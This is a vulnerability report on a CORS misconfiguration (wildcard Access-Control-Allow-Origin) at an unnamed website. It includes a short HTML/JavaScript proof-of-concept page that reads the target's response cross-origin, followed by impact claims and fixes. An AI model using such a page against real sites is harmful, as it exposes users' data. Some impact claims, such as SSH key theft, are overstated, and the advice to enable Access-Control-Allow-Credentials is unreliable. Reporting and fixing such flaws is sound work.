Vulnerability Report
Type of the vulnerability: CORS Misconfiguration
Founded by: GoldenHat
Time&Date of scan: 31/3/2024 10:15PM
Introduction
Decription:
CORS (Cross-Origin Resource Sharing): is a mechanism used in
web browsers that allows controlled access to resourses located
outside the given domin . CORS extends and enhance the Same-
Origin Policy (SOP), but it can also be vulnerable to cross-domain
attacks if the CORS Policy for a specfic website is misconfigured or
not properly enforced. It’s important to note that CORS is not
protection against croos-site attacks like Cross-Site Request
Forgery (CSRF).
The CORS Misconfiguration Vulnerability occurs when The CORS
Policy is incorrectly configured, allowing unauthorized domians
to access resources. This can lead to security issues such as data
theft or injection, as well as other unexpected behaviors.
What is the risk level of this Vulnerability: Medium .
and can increase to high
Which WEB-page We found this Vulnerability:
We found this Vulnerability in: [Link]
How We found this Vulnerability:
*In the Header in the response Of the webpage
We Found Access-Cntrole-Allow-Origin: *
Exploit:
<!DOCTYPE html>
<html>
<body>
<h2>This script is made by GoldenHat for test A bug</h2>
<div id="demo">
<button type="button" onclick="cors()">Exploit</button>>
</div>
<script>
function cors() {
var xhttps = new XMLHttpRequest();
[Link] = function(){
if ([Link] == 4 && [Link] == 200){
[Link]("demo").innerHTML=alert([Link]);
}
};
[Link]("GET","[Link] true);
[Link]();
}
</script>
</body>
</html>
*first We made a simple Web-page to access the resources Of the
infected web-page,, is contain the URL of infected WEB-Page
*This is site that we made
*Then We click In the exploit button.
>> as we can see the alert contine a webpage source . and now we
confirme the site is infected with CORS-Misconfiguration
Vulnerability.
What we can Do by this vulnerability (the impact):
1. Data theft :
‘since the web-page dsplays the best deals for purchasing
products from other sites’ the attacker can use this
vunerability For theft API Keys , SSh keys,
And access keys to other sites .
2. CSRF :
The Attacker can also do CSRF(Cross-site Request Forgery)
attacks or injection attacks . this could lead to site disruption or
leakage of sensitive information.
3. Other :
The attacker can also do XSS attacks .
How we can close this vulnerability
Proper CORS Configuration:
. Ensure that your application’s CORS policy is configured
correctly,
Specify The allowed origins using Access-Allow-Origin
header .
. Set The value of this header to the specfic domain(s)
that should be allowed to access your resource. For
example
Access-Control-Allow-Origin: [Link]
. Avoid using wildcard ( * ) .
Credentials and Headers
. set this
Access-Control-Allow-credentials: true
. Specify the allowed headers using this. And include any
custom headers your application uses
Access-Control-Allow-Headers:
Conclusion
We found CORS Misconfiguration Vulnerability in a web-page this
Vulnerability its a dangrous. Due to the risks is causes (see above in the
impact) . by allowing unauthorized domains to access resourses
Date&Time Of Writting this report:2/4/2024 1:00 AM
